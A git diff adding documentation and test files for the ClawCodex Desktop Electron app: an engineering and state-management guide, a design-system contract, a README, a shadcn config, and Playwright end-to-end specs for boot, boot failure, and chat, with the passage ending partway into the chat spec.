diff --git a/ui-desktop/AGENTS.md b/ui-desktop/AGENTS.md
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+# Desktop Engineering Guide
+
+How to build ClawCodex Desktop well. This is a judgment guide, not an inventory —
+it teaches the invariants and the reasoning behind them so a change fits the app
+even as files move. Read it with the repository `AGENTS.md` (root rules still
+apply) and [`DESIGN.md`](./DESIGN.md) for the visual and interaction contract.
+
+When a rule here and the code disagree, trust the code and fix whichever is
+wrong — but never break an invariant to make a change easier.
+
+## What this app is
+
+Desktop is its own native chat surface. It is not the browser dashboard and it
+does not embed the TUI. Three parties, each authoritative for one thing:
+
+- **Electron** owns the machine: process lifecycle, native filesystem/git/
+  windows, install/update, and a narrow, typed capability bridge.
+- **The renderer** owns the experience: navigation, presentation, and ephemeral
+  interaction state.
+- **The agent backend** owns the work: sessions, tools, model calls, streaming.
+
+Keep the seams clean. The renderer never reaches for Node or Electron directly;
+native power arrives through a deliberate capability, not a general escape hatch.
+Agent behavior lives behind the gateway, never reimplemented in React. When a
+change blurs a seam, that is the smell — fix the seam, don't widen it.
+
+## Decide state by authority
+
+The first question for any piece of state is *who is allowed to be right about
+it*, not where it is convenient to store it. Put state with its authority:
+
+- The **backend** is authoritative for anything another ClawCodex surface can also
+  change. Treat the renderer's copy as a cache of that truth.
+- **Electron** is authoritative for machine and runtime facts.
+- The **renderer** owns only what is purely about this window's presentation.
+
+From that, everything else follows: shared renderer state lives in small stores
+owned by the feature that owns the concern; request-shaped server data that wants
+invalidation lives in the query layer; short-lived interaction detail stays in
+the component; hot coordination that must not paint stays in a ref. Reach for the
+narrowest home that still lets the state be correct. A new global store is a
+claim that many distant surfaces need it — earn that claim.
+
+Persisted state must declare its scope in its own key: is this global, or does it
+belong to a connection, a profile, a stored session, a project, or a window?
+Getting the scope wrong is how one profile's setting bleeds into another.
+
+## Identity is not incidental
+
+Sessions have more than one identity, and conflating them is a recurring source
+of "session not found" and vanishing history. Reason about which identity a
+surface needs: durable navigation and anything the user pins or persists key off
+the stable/durable identity; live streaming keys off the runtime identity; state
+that must outlive compression keys off the lineage root. Keep the mapping between
+them explicit and translate at the boundary rather than passing the wrong id
+inward.
+
+## Server truth is cached, not owned
+
+The renderer paints from a cache of backend truth, so it must reconcile, not
+assume:
+
+- **Merge, don't clobber.** A refresh is new information layered over what you
+  already know, not a replacement that can drop live or pinned rows.
+- **Be optimistic, then honest.** Direct manipulation should paint immediately
+  from a snapshot; a failed write rolls back visibly and an authoritative
+  refresh gets the last word.
+- **Guard against the past.** Async results can arrive out of order; a stale
+  response must never overwrite newer intent. Generation counters and request
+  tokens exist for this.
+- **Isolate the foreground.** Only the surface the user is looking at may publish
+  into the shared view; background work updates its own cache quietly.
+- **Coalesce noise, flush signal.** Batch high-frequency cosmetic updates, but
+  let terminal transitions (a turn finishing, needing input, failing) reach the
+  user immediately.
+- **Preserve reference identity on no-ops.** Handing React a fresh array that
+  contains the same data re-renders expensive trees for nothing.
+
+## Switching context is a re-home, not a reboot
+
+Changing profile, connection, or mode is a workspace switch, not a cold start.
+The shell and whatever the user was doing stay put; only the gateway-bound view
+is cleared and repopulated, and the previous context must not leak into the next
+one. Reserve the full-screen boot/connecting experience for a genuinely unusable
+backend.
+
+There are three distinct switch shapes, and conflating them is the classic bug:
+
+- A **connection/mode apply** (local ↔ remote ↔ cloud) is the soft re-home:
+  shell mounted, gateway-bound stores explicitly wiped, then reconnect. Query
+  invalidation alone cannot evict live session stores — wipe them.
+- A **runtime home change** (switching the underlying `CLAWCODEX_CONFIG_DIR` profile) is
+  a hard re-home: the window legitimately reloads and state resets by remount.
+- A **live profile swap** in the same window activates another profile's socket
+  while background profiles keep streaming; lists merge rather than wipe, and
+  only an explicit user selection starts a fresh foreground draft.
+
+Treating a soft switch as hard flickers the app; treating a hard one as soft
+strands stale rows. After any swap, the active socket, active profile, and
+connection atoms must agree, or REST and filesystem calls route to the wrong
+backend.
+
+## Cross everything as an observable ladder
+
+Desktop lives at the seams: versions, profiles, local vs remote vs cloud,
+partially installed runtimes, stale caches, older backends. The durable technique
+for all of it is the same — an ordered ladder of candidates:
+
+1. Precedence is written down, in one place, as data or a pure function.
+2. A candidate is trusted only after it is validated at the right boundary.
+   Existence is not proof; probe what you're about to rely on.
+3. A failed *read* falls to the next rung; a failed *authoritative write*
+   surfaces or rolls back rather than silently retargeting.
+4. A missing capability and a transient failure are different: the first may
+   enable a compatibility path or a disabled state; the second should retry.
+5. Retries are bounded and end in a real recovery affordance — never an infinite
+   spinner or a hot loop.
+6. One resolver owns each policy so every caller gets the same answer. Scatter is
+   how two call sites drift apart.
+
+This is the shape of backend discovery, command/version fallbacks, connection and
+auth resolution, workspace-cwd selection, capability detection, and preview
+normalization alike. Learn the shape, not a snapshot of the current rungs.
+
+Two auth-flavored corollaries worth naming because they are easy to get wrong:
+
+- **One-time credentials are never reused.** An OAuth gateway connection mints a
+  fresh WebSocket ticket on every dial and never falls back to the cached URL.
+  Only a confirmed 401/403 (or an explicitly tagged auth rejection) means
+  reauthentication; timeout, network, malformed-response, and server failures
+  remain connectivity errors. Only long-lived token/local auth may reuse a
+  cached URL as a lower rung.
+- **A connection test must exercise the leg you'll actually use.** An HTTP
+  status probe passing while the WebSocket/auth leg fails is a false positive
+  that ships as "it said connected but nothing works."
+
+## Compatibility without carrying the past forever
+
+Desktop and its runtime update on separate clocks, so a change can meet an older
+backend. Keep those users working: preserve the current feature, keep the
+fallback narrow and tied to an identified older runtime, and cover it with a
+test. A fallback that quietly degrades the feature it's meant to protect is worse
+than the crash it replaced.
+
+## Keep the waist narrow, grow at the edges
+
+The root contribution rubric governs here too. New capability should arrive at
+the smallest surface that solves it: extend what exists, add a feature locally,
+lean on an existing seam — before you invent a framework. The shell's internal
+registries are composition seams, not a public plugin ABI; do not build a
+universal extension system, a manifest, or a plugin adapter for a single
+consumer. Design a shared contract only once more than one real consumer proves
+its shape. "Plugin" means several unrelated things across ClawCodex — do not assume
+one surface's extension model runs in another.
+
+When the new capability is an **agent-callable** one — a tool that acts on this
+renderer (open a pane, read the in-app browser, react to a message) — it is a
+property of the SESSION's client, not of the backend host. Wire its
+availability off the session source the app already sends on `session.create`
+(`source: 'desktop'`), never off an env var on the backend process: that
+process might be a remote or cloud gateway this app merely connected to. See
+the root AGENTS.md, "Surface capability is a property of the SESSION."
+
+## Respect the person using it
+
+Design and engineering meet at intent. The user's attention and context are
+sacred:
+
+- Never navigate, move focus, or open a surface because something *happened* in
+  the background. Offer; don't hijack.
+- The states around loading are distinct experiences — empty, loading,
+  reconnecting, degraded/stale, and exhausted-recovery each deserve their own
+  honest copy and their own way out.
+- Keyboard ownership follows focus. The focused surface wins its keys; one
+  cancel gesture does exactly one thing.
+- Expensive, stateful surfaces (terminals, live tools) stay alive when hidden.
+  Visibility is not lifecycle.
+
+## Make it feel instant
+
+Performance is a feature the user feels, especially in drag, resize, scroll,
+typing, streaming, and terminals. The principles are timeless even as the code
+changes: keep hot-path state local or narrowly derived; don't subscribe heavy
+trees to per-frame updates; coalesce pointer work; avoid reading layout right
+after writing style; and don't mount expensive content mid-gesture. Prove speed
+against realistic content — a fast empty demo proves nothing about a long
+transcript. If motion is masking latency, remove the motion, don't tune it.
+
+## Testing as a habit of proof
+
+Test the behavior that would actually break a user, not a snapshot of today's
+data. Favor invariants over frozen values. Exercise the real path for anything
+at a seam — resolver precedence and its failure rungs, identity and scope
+boundaries, optimistic rollback and stale-response ordering, and both sides of a
+local/remote adapter with its profile routing intact. Match how the suite is
+actually run rather than inventing a command; when in doubt, read the scripts.
+
+## The taste test before you hand off
+
+- Does every piece of state live with its authority, at the narrowest scope?
+- Would a background event ever steal the foreground or the user's focus?
+- Does each resolver have one home, a validated ladder, and a bounded, recoverable
+  end?
+- Do local, remote, and profile routing still agree?
+- Does async failure leave a usable UI and a way forward?
+- Do hot interactions stay cheap under realistic load?
+- Does the change pass the [`DESIGN.md`](./DESIGN.md) checklist and update all
+  locales?
+
+If any answer is "not sure," that's the part to go verify.
diff --git a/ui-desktop/DESIGN.md b/ui-desktop/DESIGN.md
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+# Desktop Design System
+
+Conventions for the Electron desktop app (`apps/desktop`). Read this before
+adding a component, overlay, or style. The rule of thumb: **one source per
+concern, tokens over literals, flat over boxed.** If you reach for a raw color,
+a one-off shadow, a bespoke button, or a hardcoded `px-*` on a control — stop,
+there's already a primitive for it.
+
+This file owns the visual and interaction contract. Read
+[`AGENTS.md`](./AGENTS.md) for architecture, state, resolver, transport, and
+testing rules.
+
+This doc contains two kinds of content, maintained differently:
+
+- **Principles** (flatness, intent, feedback, motion, cancellation) are durable.
+  They hold as components come and go.
+- **Named contracts** (tokens, `Button` variants, primitive names) are the
+  design system's current API. They are maintained *with* the code: if you
+  change a primitive, token, or variant, update its entry here **in the same
+  change** — a stale name in this file is a bug, exactly like a stale type.
+
+When a rule and the code disagree, fix whichever is wrong rather than forking a
+one-off at the call site.
+
+## Principles
+
+1. **Flat, not boxed.** No card-in-card, no divider borders inside a panel.
+   Group with whitespace and a single hairline, never nested rounded boxes.
+2. **Borderless elevation for floating panels.** Overlays float on
+   `shadow-nous` + a `--stroke-nous` hairline, not thick framed boxes. In-panel
+   structure may use token hairlines sparingly.
+3. **One primitive per concern.** One `Button`, one set of control variants,
+   one `SearchField`, one `Loader`, one `ErrorState`. Migrate onto them; don't
+   fork.
+4. **Tokens, not literals.** Reference CSS vars (`--ui-*`, `--shadow-nous`,
+   `--theme-*`), never raw hex / ad-hoc rgba in components.
+5. **Style lives in the primitive.** Variants and sizes own padding, radius,
+   color, chrome. Call sites pass a `variant`/`size`, not `className` overrides
+   that re-specify those.
+6. **Intent before automation.** Surface useful actions and previews, but do not
+   open panes, move focus, or navigate because a tool happened to produce
+   something.
+7. **Immediate feedback.** Direct manipulation updates the view first. Network
+   or disk persistence reconciles afterward and rolls back visibly on failure.
+
+## Information architecture
+
+- **Chat is the home surface.** The transcript and composer stay primary; tools,
+  previews, files, review, and terminal complement the conversation.
+- **Pages are durable destinations.** Chat, Skills, Messaging, and Artifacts
+  remain in shell chrome. Do not hide a distinct product noun inside an
+  unrelated page.
+- **Route overlays are short tasks.** Settings, Command Center, Cron, Profiles,
+  Agents, and Starmap render as `OverlayView` cards and return to the previous
+  route on close. Model/session pickers and dialogs layer above the current
+  surface; they are not navigation stacks.
+- **Panes are working context.** Preview, files, review, and terminal remain
+  attached to the current task. Their state survives temporary hiding and chat
+  switches where the underlying tool is meant to persist.
+- **One action, one home.** A command may have keyboard, palette, and visible
+  affordances, but they invoke the same action and state. Do not fork behavior
+  per entry point.
+- **Projects own workspace cwd.** Use Sidebar → Projects for local folders and
+  worktrees; do not reintroduce a per-session/right-sidebar folder-picker flow.
+
+Navigation must preserve context. A background session finishing, a tool result
+arriving, or a project refresh may update badges and cached data; it must not
+replace the foreground transcript or steal focus.
+
+## Surfaces & elevation
+
+Floating panels (base `Dialog`, route overlays, boot/install/update surfaces,
+model-picker, onboarding, prompt overlays, notifications) use:
+
+```
+shadow-nous           /* downward-weighted, layered contact→ambient falloff */
+border-(--stroke-nous) /* currentColor hairline, theme-adaptive */
+```
+
+Both are CSS vars in `src/styles.css` — tune in one place, everything inherits.
+Don't add per-overlay `shadow-[…]` or `border-(--ui-stroke-secondary)`
+one-offs; if elevation needs to change, change the token.
+
+Menus and popovers use their own shared `shadow-md` +
+`--ui-stroke-secondary` primitive treatment. Drag affordances may use tokenized
+dashed targets and local blur. These are semantic surface classes, not licenses
+for call-site shadow or border inventions.
+
+## Stroke & color tokens
+
+| Token | Use |
+| --- | --- |
+| `--ui-stroke-primary…quaternary` | hairlines, in descending strength |
+| `--ui-stroke-tertiary` | the default in-panel divider / list hairline — and every bordered surface in the transcript |
+| `--stroke-nous` | the overlay hairline (pairs with `shadow-nous`) |
+| `--ui-text-primary / -secondary / -tertiary` | text hierarchy |
+| `--ui-bg-quaternary` | soft control fill (secondary button) |
+| `--ui-widget-surface-background` | fill for inline chat widgets (`WIDGET_SHELL_CLASS`) |
+| `--chrome-action-hover` | hover fill for quiet controls |
+| `--theme-primary`, `--ui-accent` | brand/accent |
+
+Never hardcode `border-gray-*`, `bg-white`, `text-black`, etc. The white tile in
+`BrandMark` is the one sanctioned literal (the mark needs a fixed backdrop).
+
+## Buttons — one component
+
+`src/components/ui/button.tsx` is the single source. Pick a `variant` + `size`;
+do **not** pass `h-*`, `px-*`, `py-*`, or icon-size overrides.
+
+**Variants:** `default` (primary), `destructive`, `secondary` (soft fill —
+the default non-primary look), `outline` (transparent + 1px inset ring, no
+fill/shadow), `ghost`, `link`, `text` (boxless quiet inline — "Cancel",
+"Clear"), `textStrong` (bold underlined inline affordance — "Change",
+"Open logs").
+
+**Sizes:** `default`, `xs`, `sm`, `lg`, `inline` (flush, zero box — for buttons
+that sit inside a heading/sentence; replaces `h-auto px-0 py-0`), `micro`
+(status-stack/table-footers), and the icon family `icon` / `icon-xs` /
+`icon-sm` / `icon-lg` / `icon-titlebar`.
+
+**Tooltips only when hover teaches something new.** `<Tip>` is for discovery,
+not a tax on every icon. Ask: does hover reveal something the user cannot
+already see or infer? If not, skip the tip; keep an `aria-label` for a11y.
+
+Tip unlabeled chrome when the job (or a keybind / truncated path / host /
+other detail) is not already on screen — toolbar / titlebar / statusbar icons,
+`TipKeybindLabel` shortcuts, ownership chips, unlabeled icon grids.
+
+Do **not** tip:
+
+- Menu triggers (kebabs / ⋯ / `ActionsMenu` / `DropdownMenuTrigger`) — the
+  affordance is "open menu"; verbs live in the menu. Never tip
+  `"Actions for ${row title}"` / `"Project actions"` / `"Actions"`.
+- Close / dismiss X buttons — the glyph is the label (`aria-label` only).
+- Controls whose visible label already says what the tip would ("click to…",
+  paraphrases of the same words, timer labels restating "Running").
+
+Never use native HTML `title=` on buttons — unstyled, ~500ms OS delay, clashes
+with the themed `Tip`. `src/components/ui/__tests__/no-native-title.test.ts`
+fails on any `<button>` / `<Button>` that still carries `title=`.
+
+**Keybind hints in tooltips.** On a tipped button bound to a rebindable hotkey,
+use `<TipKeybindLabel actionId="..." />` — it reads the i18n label and the
+current combo from `$bindings`. Pass `text={...}` only when the label is
+context-dependent (e.g. "Show" / "Hide"). Never hardcode combos; always use
+`useKeybindHint` or `TipKeybindLabel`.
+
+Notes:
+- Text buttons are square (no radius) and sized by padding + line-height (no
+  fixed heights). Only icon buttons carry the shared 4px radius.
+- SVGs inherit `size-3.5` (`size-3` at `xs`). Don't re-set icon size.
+- Polymorph with `asChild` when the button must render as a link/Slot.
+
+## Form controls
+
+- **`controlVariants`** (`src/components/ui/control.ts`) is the shared shape for
+  `Input` / `Textarea` / `SelectTrigger`. New text-entry controls compose it.
+- **`SearchField`** — borderless, underline-on-focus, auto-width. The only
+  search input. Don't build boxed search bars; don't wrap it in a bordered tile.
+  Empty lists hide their search field.
+- **`SegmentedControl`** — the choice control for small mutually-exclusive sets
+  (color mode, tool-call display, usage period). Replaces radio piles and
+  pill rows.
+- **`Switch`** (`size="xs"`) — bare, with `aria-label`. No bordered text wrapper.
+
+## Layout
+
+- **Gutters:** `PAGE_INSET_X` (`src/app/layout-constants.ts`) for page side
+  padding; `PAGE_INSET_NEG_X` to bleed a child to the edge. Don't hardcode
+  `px-6`/`px-8` on pages.
+- **Master/detail overlays:** `OverlaySplitLayout` + `OverlaySidebar` /
+  `OverlayMain`. Cron, profiles, etc. ride this — don't rebuild a titlebar
+  shell.
+- **Rows:** `ListRow` (settings `primitives.tsx`) for label/description/action
+  rows. Flat, flush-left; no per-row indentation that fights flush headers.
+- **No dividers between rows** unless the list genuinely needs them; prefer
+  spacing. When you do need one, it's a single `--ui-stroke-tertiary` hairline.
+
+## Feedback & empty/error/loading states
+
+- **Loading:** `Loader` (`src/components/ui/loader.tsx`) — animated math/ascii
+  curves (`lemniscate-bloom` for long ops). Never ship the literal text
+  "Loading…".
+- **Errors:** `ErrorState` + the canonical `ErrorIcon` (no bg chip). One look
+  for the React boundary, in-dialog errors, and the boot-failure banner. Pass
+  nodes for title/description so Radix `DialogTitle`/`Description` can flow
+  through for a11y.
+- **Logs:** `LogView` — no bg, hairline border, tight padding, small mono.
+  Every place we surface raw logs uses it.
+- **Empty:** `EmptyState` for plain page bodies; `PanelEmpty` for overlay
+  master/detail empties with an icon and action. Don't hand-roll a third
+  centered empty.
+
+## Chat, tools & boot surfaces
+
+- The transcript and composer are built on `@assistant-ui/react`. Extend the
+  existing components under `src/components/assistant-ui` and
+  `src/app/chat/composer`; do not fork a second markdown, message, tool-call, or
+  approval renderer for one feature.
+- **Inline widgets** — a tool result that renders as a panel the user reads or
+  acts on (clarify, artifact card) wears `WIDGET_SHELL_CLASS`
+  (`src/components/chat/widget-shell.ts`): shared radius, the
+  `--ui-widget-surface-background` fill, no border. Its actions sit *outside*
+  the panel, below it. Don't give one widget its own radius or fill.
+- Bordered surfaces in the transcript (tables, fences, callouts, attachments)
+  use `--ui-stroke-tertiary`. Not `border-border` — that's the app-wide
+  default and reads too hot against the thread.
+- A tool result may expose an inline action that opens a preview. It must not
+  open the rail automatically.
+- Install, onboarding, connecting, boot failure, and reauthentication are
+  distinct states with shared visual primitives. Preserve their recovery
+  semantics when unifying appearance.
+- Respect `AppShell` overlay ownership. Persistent terminal/content layers,
+  route overlays, dialogs, and boot surfaces must not compete through ad-hoc
+  z-index literals. Pick a rung of the ladder in `styles.css` instead —
+  `--z-modal-backdrop` / `--z-modal` / `--z-modal-popover`, `--z-over-modal`
+  (toasts, tooltips, command surfaces) and `--z-over-modal-content`,
+  `--z-switcher-backdrop` / `--z-switcher`, then the boot chain
+  `--z-connecting` → `--z-onboarding` → `--z-setup` → `--z-crash`. Plain
+  `z-10`/`z-20` are still right for stacking *within* one component.
+
+## Iconography & brand
+
+- **Tabler** is the default component/chrome set. Import its curated aliases and
+  `iconSize` scale from `src/lib/icons.ts`; do not import icon packages directly
+  in feature code.
+- **`Codicon`** is the compact editor/tool/status vocabulary. Use
+  `src/components/ui/codicon.tsx`, including `codiconIcon()` where a
+  Tabler-shaped component is required.
+- Pick the vocabulary by semantic context and reuse the existing icon for an
+  action. Do not introduce a third icon set or mix styles within one control
+  group.
+- **`BrandMark`** (`src/components/brand-mark.tsx`) is the brand glyph — the
+  the ClawCodex claw mark on a white tile, softly rounded, identical in light/dark.
+  It replaced scattered Sparkles glyphs in updates / onboarding / about. Use it
+  for hero/brand moments; don't reintroduce decorative star/sparkle icons.
+
+## Motion
+
+- Quick, functional transitions (~100ms on controls). Respect
+  `prefers-reduced-motion` for anything beyond a fade.
+- Choreographed exits (e.g. onboarding's "matrix" fade-down) stagger per-element
+  then settle the surface — the outer container's fade is *delayed* so it
+  doesn't swallow the inner animation. Don't let a global fade race the detail.
+- Motion follows state; it never delays state. Selection, drag targets, cancel,
+  and pressed feedback paint in the current frame.
+- Do not animate layout geometry with `transition-all` on a hot interaction.
+  Name the properties, avoid backdrop-filter repaints during movement, and
+  remove animation before masking a performance problem.
+
+## Direct manipulation & performance
+
+The app should feel instant under real load — long transcripts, several panes,
+live streams. Design toward that:
+
+- Direct manipulation paints first; persistence reconciles after and rolls back
+  visibly on failure.
+- Keep interaction feedback cheap: hot-path state stays local or narrowly
+  derived, not wired into heavy trees; pointer work coalesces per frame.
+- One drop region has one visual owner, and drop targets speak one affordance
+  language across files, sessions, tabs, and panes. Overlapping targets resolve
+  to the active one instead of stacking overlays.
+- Forgiving geometry beats pixel-perfect triggers; edge actions live near their
+  edge, not clustered in the center.
+- Expensive stateful surfaces stay mounted when hidden. Visibility is not
+  lifecycle.
+
+Prove speed with realistic content. A fast empty-state demo says nothing about a
+long transcript or a busy terminal.
+
+## Keyboard & cancellation
+
+- Keyboard ownership follows focus. The focused surface wins its keys; shell
+  shortcuts must not steal a terminal's or editor's bindings.
+- Register global shortcuts through the shared layer, not ad-hoc listeners.
+- One cancel gesture does one thing: cancel the active interaction, or close the
+  topmost dismissable surface — never both, never the control underneath.
+- Cancellation is synchronous in the UI even if cleanup is async: overlays,
+  cursors, and pending gesture state clear at once.
+- Flows that deliberately cannot be dismissed (install/onboarding, destructive
+  confirmation) must make that explicit.
+
+## i18n
+
+- Every user-facing string goes through `useI18n()` (`src/i18n/context.tsx`).
+  No literals in JSX.
+- **Update all locales together** — `en`, `ja`, `zh`, `zh-hant`. A string change
+  in `en.ts` that skips the others is a regression (drifted punctuation,
+  stale labels). Keep trailing-punctuation and tone consistent across all four.
+
+## State (TypeScript)
+
+The detailed state contract lives in the scoped
+[`AGENTS.md`](./AGENTS.md). Visual code follows these essentials:
+
+- Shared/cross-component state → small **nanostores**, not prop-drilling.
+  Each feature owns its atoms; shared atoms live in `src/store`.
+- Rendering components subscribe with `useStore`; non-render actions read with
+  `$atom.get()`.
+- Subscribe to derived coarse facts instead of high-frequency source atoms when
+  the component does not render the full value.
+- Colocated action modules over god hooks. A hook owns one narrow job.
+- Keep persistence beside the atom that owns it. Route roots stay thin.
+- Prefer `interface` for public props; extend React primitives
+  (`React.ComponentProps<'button'>`, `Omit<…>`).
+
+## Affordances
+
+- `cursor-pointer` at the primitive level (Button, dropdown/select) — don't
+  hardcode it per call site.
+- Global focus-ring reset; titlebar actions have no active-background state.
+- `Esc` closes every dismissable overlay/dialog (install/onboarding excluded);
+  close is an x-icon, not the word "Close".
+
+## Before you add something — checklist
+
+- [ ] Reuse a primitive (`Button`, `SearchField`, `SegmentedControl`,
+      `ListRow`, `Loader`, `ErrorState`, `LogView`) instead of forking one?
+- [ ] Tokens (`--ui-*`, `shadow-nous`, `--stroke-nous`) — zero raw colors /
+      one-off shadows?
+- [ ] No `className` overriding a primitive's padding / size / radius / chrome?
+- [ ] Tips only where hover teaches something new (no kebab / menu-trigger
+      tips; unlabeled chrome that needs discovery gets `<Tip>` + `aria-label`)?
+- [ ] No native `title=` on buttons?
+- [ ] Keybind hints on tipped buttons use `useKeybindHint` / `TipKeybindLabel`?
+- [ ] Overlay uses `shadow-nous` + `border-(--stroke-nous)`, no hard border?
+- [ ] Flat — no card-in-card, no gratuitous row dividers?
+- [ ] No automatic navigation, focus steal, or pane opening from background
+      events?
+- [ ] Direct manipulation paints immediately and rolls back cleanly on failure?
+- [ ] Hot interactions avoid broad subscriptions, layout thrash, and
+      `transition-all`?
+- [ ] Keyboard ownership and single-action `Esc` behavior are correct?
+- [ ] All four locales updated for any new/changed string?
+- [ ] `cursor-pointer`, focus ring, and `Esc`-to-close behave?
+- [ ] Touched a primitive, token, or variant? Its named-contract entry in this
+      file is updated in the same change.
diff --git a/ui-desktop/README.md b/ui-desktop/README.md
new file mode 100644
index 000000000..4ba25cf57
--- /dev/null
+++ b/ui-desktop/README.md
@@ -0,0 +1,41 @@
+# ClawCodex Desktop
+
+The native desktop app for [ClawCodex](../README.md) — chat with the agent in a
+polished native window: streaming responses, live tool activity, side-by-side
+previews, a file browser, and settings, no terminal required. Built with
+Electron, Vite, and React.
+
+> **Status: port in progress.** The UI layer builds and its test suite runs
+> (see *Development* below). Wiring to the ClawCodex Python backend
+> (`clawcodex serve`) and packaged installers land in follow-up stages.
+
+## Layout
+
+- `src/` — the renderer: a React app (chat surface, panes, previews, settings).
+- `electron/` — the main process: window/process lifecycle, native capabilities,
+  backend boot, and a narrow typed IPC bridge (`preload.ts`).
+- `packages/shared/` — `@clawcodex/shared`, types shared between surfaces.
+- `e2e/` — Playwright specs driven against a mock backend.
+- `scripts/` — build, packaging, and diagnostic tooling.
+
+Engineering conventions live in [`AGENTS.md`](./AGENTS.md); the visual and
+interaction contract lives in [`DESIGN.md`](./DESIGN.md).
+
+## Development
+
+```bash
+cd ui-desktop
+npm ci                 # standalone install — no workspace root required
+npm run typecheck      # renderer + electron + e2e tsconfigs
+npm run lint
+npm test               # vitest: ui + electron projects
+```
+
+`npm run dev` (Vite renderer + Electron shell) boots the app shell; full
+backend attach is part of the wiring stage.
+
+## Testing
+
+- Unit/component tests: `npm test` (vitest projects `ui` and `electron`).
+- E2E: `npm run test:e2e` (Playwright against the mock backend) — enabled at
+  the end of the port.
diff --git a/ui-desktop/assets/icon.icns b/ui-desktop/assets/icon.icns
new file mode 100644
index 000000000..b144e29d0
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diff --git a/ui-desktop/assets/icon.ico b/ui-desktop/assets/icon.ico
new file mode 100644
index 000000000..da04ccabf
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diff --git a/ui-desktop/assets/icon.png b/ui-desktop/assets/icon.png
new file mode 100644
index 000000000..04322dded
Binary files /dev/null and b/ui-desktop/assets/icon.png differ
diff --git a/ui-desktop/components.json b/ui-desktop/components.json
new file mode 100644
index 000000000..545360ae7
--- /dev/null
+++ b/ui-desktop/components.json
@@ -0,0 +1,21 @@
+{
+  "$schema": "https://ui.shadcn.com/schema.json",
+  "style": "new-york",
+  "rsc": false,
+  "tsx": true,
+  "tailwind": {
+    "config": "",
+    "css": "src/styles.css",
+    "baseColor": "neutral",
+    "cssVariables": true,
+    "prefix": ""
+  },
+  "aliases": {
+    "components": "@/components",
+    "utils": "@/lib/utils",
+    "ui": "@/components/ui",
+    "lib": "@/lib",
+    "hooks": "@/hooks"
+  },
+  "iconLibrary": "tabler"
+}
diff --git a/ui-desktop/e2e/boot-failure.spec.ts b/ui-desktop/e2e/boot-failure.spec.ts
new file mode 100644
index 000000000..5ead1e8ce
--- /dev/null
+++ b/ui-desktop/e2e/boot-failure.spec.ts
@@ -0,0 +1,53 @@
+/**
+ * E2E boot-failure tests — verify the app shows an error overlay when the
+ * backend can't start.
+ *
+ * Injects a fake boot error (CLAWCODEX_DESKTOP_BOOT_FAKE_ERROR) so the backend
+ * resolution fails with a controlled error message. The app should show the
+ * BootFailureOverlay with retry/repair actions.
+ *
+ * Prerequisite: `npm run build` must have been run so dist/ exists.
+ */
+
+import { allowErrorBanners, test } from './test'
+
+import {
+  type DeadBackendFixture,
+  setupDeadBackend,
+  waitForBootFailure,
+} from './fixtures'
+import { expectVisualSnapshot } from './visual-snapshot'
+
+let fixture: DeadBackendFixture | null = null
+
+test.afterAll(async () => {
+  await fixture?.cleanup()
+  fixture = null
+})
+
+test.describe('boot failure with dead backend', () => {
+  test.beforeEach(() => {
+    // These tests deliberately trigger boot errors — error banners
+    // (notifyError → [role="alert"]) are expected, not failures.
+    allowErrorBanners()
+  })
+
+  test('app shows error state', async () => {
+    // Inject a fake boot error so the backend resolution "fails" with a
+    // controlled error message. This is the only reliable way to trigger
+    // BootFailureOverlay in dev mode.
+    fixture = await setupDeadBackend({ fakeError: true })
+
+    await waitForBootFailure(fixture.page, 90_000)
+  })
+
+  test('screenshot of error state', async () => {
+    if (!fixture) {
+      test.skip(true, 'Previous test failed — no app running')
+
+      return
+    }
+
+    await expectVisualSnapshot(fixture!.page, { name: 'boot-failure-error-state', app: fixture.app })
+  })
+})
diff --git a/ui-desktop/e2e/boot.spec.ts b/ui-desktop/e2e/boot.spec.ts
new file mode 100644
index 000000000..719574d7d
--- /dev/null
+++ b/ui-desktop/e2e/boot.spec.ts
@@ -0,0 +1,63 @@
+/**
+ * E2E smoke tests for the dev-mode desktop app.
+ *
+ * These tests launch the Electron app from the built dist/ (not the
+ * packaged binary) with a real `clawcodex serve` backend pointed at a mock
+ * inference server. The full chain is exercised:
+ *
+ *   electron → clawcodex serve (python) → mock provider → renderer
+ *
+ * Prerequisite: `npm run build` must have been run so dist/ exists.
+ * Run from the nix devshell:
+ *   npm exec playwright test e2e/boot.spec.ts --reporter=list
+ */
+import { expect, test } from './test'
+
+import {
+  type MockBackendFixture,
+  setupMockBackend,
+  waitForAppReady,
+} from './fixtures'
+import { expectVisualSnapshot } from './visual-snapshot'
+
+let fixture: MockBackendFixture | null = null
+
+test.beforeAll(async () => {
+  fixture = await setupMockBackend()
+})
+
+test.afterAll(async () => {
+  await fixture?.cleanup()
+  fixture = null
+})
+
+test.describe('dev-mode boot with mock backend', () => {
+  test('window opens with ClawCodex title', async () => {
+    const title = await fixture!.page.title()
+    expect(title).toContain('ClawCodex')
+  })
+
+  test('renderer mounts and shows DOM content', async () => {
+    const page = fixture!.page
+    // Wait for the React root to mount. The app renders into #root
+    // (see src/main.tsx), but content may arrive through portals — so
+    // check the body for any interactive content instead.
+    await page.waitForSelector('body', { state: 'attached' })
+    // Wait for the main app shell — the composer is always present.
+    await page.waitForSelector('textarea, [contenteditable="true"]', {
+      state: 'attached',
+      timeout: 30_000,
+    })
+  })
+
+  test('backend boots and app becomes ready', async () => {
+    // This is the big one — wait for the full boot chain to complete:
+    // electron starts → clawcodex serve is spawned → WS connects → config
+    // loaded → sessions loaded → boot overlay dismissed → composer visible.
+    await waitForAppReady(fixture!, 120_000)
+  })
+
+  test('screenshot after boot', async () => {
+    await expectVisualSnapshot(fixture!.page, { name: 'boot-ready', app: fixture!.app })
+  })
+})
diff --git a/ui-desktop/e2e/chat.spec.ts b/ui-desktop/e2e/chat.spec.ts
new file mode 100644
index 000000000..cce81b01d
--- /dev/null
+++ b/ui-desktop/e2e/chat.spec.ts
@@ -0,0 +1,138 @@
+/**
+ * E2E chat tests — send a message and verify a response appears.
+ *
+ * Requires the full boot chain to complete (clawcodex serve + mock inference
+ * provider). The mock server returns a canned reply, so we verify the
+ * response text shows up in the chat transcript.
+ *
+ * Prerequisite: `npm run build` must have been run so dist/ exists.
+ */
+
+import { expect, test } from './test'
+
+import { type MockBackendFixture, setupMockBackend, waitForAppReady } from './fixtures'
+import { BLOCKING_CLARIFY_QUESTION, BLOCKING_CLARIFY_TRIGGER } from './mock-server'
+import { expectVisualSnapshot } from './visual-snapshot'
+
+let fixture: MockBackendFixture | null = null
+
+test.beforeAll(async () => {
+  fixture = await setupMockBackend()
+  await waitForAppReady(fixture!, 120_000)
+})
+
+test.afterAll(async () => {
+  await fixture?.cleanup()
+  fixture = null
+})
+
+test.describe('chat interaction with mock backend', () => {
